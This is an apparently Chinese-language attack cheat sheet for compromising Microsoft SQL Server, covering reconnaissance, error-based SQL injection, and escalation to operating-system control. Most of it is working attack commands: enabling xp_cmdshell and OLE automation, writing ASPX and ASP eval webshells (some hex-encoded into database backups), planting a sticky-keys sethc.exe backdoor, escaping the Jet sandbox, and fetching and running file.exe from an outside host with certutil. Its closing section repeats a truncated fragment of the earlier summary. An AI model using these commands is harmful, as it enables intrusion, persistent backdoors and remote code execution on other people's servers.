MSSQL信息收集
默认库
master //用于记录所有SQL Server系统级别的信息,这些信息用于控制用户数据库和数据操作
model //SQL Server为用户数据库提供的样板,新的用户数据库都以model数据库为基础
msdb //由 Enterprise Manager和Agent使用,记录着任务计划信息,事件处理信息,数据备份及恢复信息,警告及异常信息。
tempdb //它为临时表和其他临时工作提供了一个存储区
判断服务器级别
and 1=(select is_srvrolemember('sysadmin'))
判断数据库级别
select IS_MEMBER('db_owner')
@@version // 数据库版本
user //获取当前数据库用户名
db_name() // 当前数据库名 其中db_name(N)可以来遍历其他数据库
;select user //查询是否支持多语句
select * from info where id='1'and host_name()=@@servername;--'//判断站库分离
2005的xp_cmdshell的权限一般是system而2008一般是nt authority\network service
报错注入
use asp_net;
create table admin
(
id int primary key ,
username varchar(50) null,
password varchar(50) null
);
insert into admin(id,username,password) values(1,'admin','admin');
mssql中的报错注入一般都是利用了显式或者隐式的类型转化造成的报错
隐式
select * from admin where id =1 and (select user)>0--
显示转换
select * from admin where id =1 (select CAST(USER as int))
select * from admin where id =1 (select convert(int,user))
在将 nvarchar 值 'dbo' 转换成数据类型 int 时失败
简单绕过
select * from admin where id =1;declare @a nvarchar(2000) set @a='select convert(int,@@version)' exec(@a) --
select * from admin where id =1;declare @s varchar(2000) set @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 exec(@s)--
这里看看调用储存过程搜索
这里我们重点看xp_dirtree和xp_cmdshell函数
xp_dirtree
基本用法如下
execute master..xp_dirtree 'c:' //列出所有c:\文件和目录,子目录 ,省略了dbo
execute master..xp_dirtree 'c:',1 //只列c:\文件夹
execute master..xp_dirtree 'c:',1,1 //列c:\文件夹加文件
一般利用方式通过创建一个临时表,把回显插入进去
CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1
select * from tmp;
实现列目录
xp_cmdshell
和上面的利用方式差不多
CREATE TABLE cmdtmp (dir varchar(8000));
insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (a*.aspx) do @echo %i'
但有再2005及以后的版本默认禁止,需要sa权限修改sp_configure
select count(*) from master..sysobjects where xtype='x' and name='xp_cmdshell'; //回显1被开启,
如果被删除了可以使用
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
如果xplog70.dll也被删除了就先上传恢复
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';
另外还需要开启xp_cmdshell的扩展存储过程,否则报如下错误
;exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1; //打开xp_cmdshell扩展
reconfigure;--
默认情况下sp_configure无法查看和更改高级配置选项,show advanced options”用来显示或更改当前服务器的全局配置设置。当“显示高级选项” 设置为 1 时(默认值为 0),可以使用 sp_configure 列出、更改高级选项
reconfigure使语句执行后立即生效,若无此命令,需重启SQLserver后才生效
这些操作完成后我们的攻击面就很宽阔了
写入asp
exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["1"],"unsafe");%^> > c:\\WWW\\404.aspx' ;
sp_oacreate
当xp_cmdshell 被删除可以使用这个来提权试试,恢复sp_oacreate,当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动OLE共享执行环境
EXEC sp_configure 'show advanced options', 1;
reconfigure;
EXEC sp_configure 'Ole Automation Procedures', 1;
reconfigure;
关闭
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
可以配合sp_oamethod来写文件执行cmd
wscript.shell执行命令
declare @shell int
exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\sqltest.txt';
Shell.Application执行命令
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
复制文件
declare @o int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o,'copyfile',null,'c:\1.txt','c:\2.txt'
shift粘滞键替换,很容易被检测出来
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
成功后3389登录按五次shift键,调出cmd,执行添加管理员组用户命令,进行提权
沙盒提权
使用sa权限修改注册表,使Access可以调用VBS函数,以System的权限执行任意命令
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;reconfigure;
RECONFIGURE
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0; //查询是否正常关闭,沙盒模式无论是开还是关,都不会影响我们执行下面的语句
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')
沙盒模式SandBoxMode参数含义(默认是2)
0
:在任何所有者中禁止启用安全模式
1
:为仅在允许范围内
2
:必须在access模式下
3
:完全开启
openrowset是可以通过OLE DB访问SQL Server数据库,OLE DB是应用程序链接到SQL Server的的驱动程序
恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1;
exec sp_configure 'Ad Hoc Distributed Queries',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
xp_regwrite还可以修改注册表劫持粘贴键
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File Execution
Options\sethc.EXE','Debugger','REG_SZ','C:\WINDOWS\explorer.exe';
备份getshell
差异备份
backup database DB_Name to disk='目标文件路径/目标文件名.bak'
# 将需要备份的数据库进行备份
create table aaanz(test image)
# 创建临时表,随便添加一个字段,用来存放木马
insert into aaanz values(0x3C25657865637574652872657175657374282261222929253E)
# 将木马插入表中(values的值为<%execute(request("a"))%>的十六进制)
backup database DB_Name to disk='目标文件路径/目标文件名.asp' with differential,format;--
# 重新备份,木马就会写入文件
LOG备份
要求数据库备份过,而且选择的恢复模式是完整模式,可以用sa权限设置恢复模式
BACKUP DATABASE anz
TO DISK='C:\aaanz.bak'
优势就是备份文件很小
alter database db_name set RECOVERY FULL
create table cmd (a image)
backup log db_name to disk = 'c:\aaanz.bak' with init //使用init初始化备份,会覆盖旧备份文件
insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253E)
backup log db_name to disk = 'c:\random\1.asp'
站库分离
xp_cmdshell可以用的话就可以为所欲为了
用certutil远程下载文件到一个可读可写目录
exec master.dbo.xp_cmdshell 'cd c:\www & certutil -urlcache -split -f http://192.168.130.142:80/download/file.exe';
exec master.dbo.xp_cmdshell 'cd c:\www & file.exe';
SA权限
-
存在xp_cmdshell时 使用xp_cmdshell执行命令添加用户,当出现错误可以恢复和开启xp_cmdshell
-
xp_cmdshell无法使用时 使用sp_oacreate执行命令,同样当出现错误可以恢复和开启
-
当执行命令无法使用时可以用沙盒提权
使用xp_regwrite和openrowset -
当只有xp_regwrite可用时可以劫持粘滞键(sethc.exe)
使用xp_regwrite修改注册表
DBA权限
备份getshell
工具使用
Powrshell 提权框架-Powerup | Evi1cg’s blog
hell时 使用xp_cmdshell执行命令添加用户,当出现错误可以恢复和开启xp_cmdshell
-
xp_cmdshell无法使用时 使用sp_oacreate执行命令,同样当出现错误可以恢复和开启
-
当执行命令无法使用时可以用沙盒提权
使用xp_regwrite和openrowset -
当只有xp_regwrite可用时可以劫持粘滞键(sethc.exe)
使用xp_regwrite修改注册表
DBA权限
备份getshell
工具使用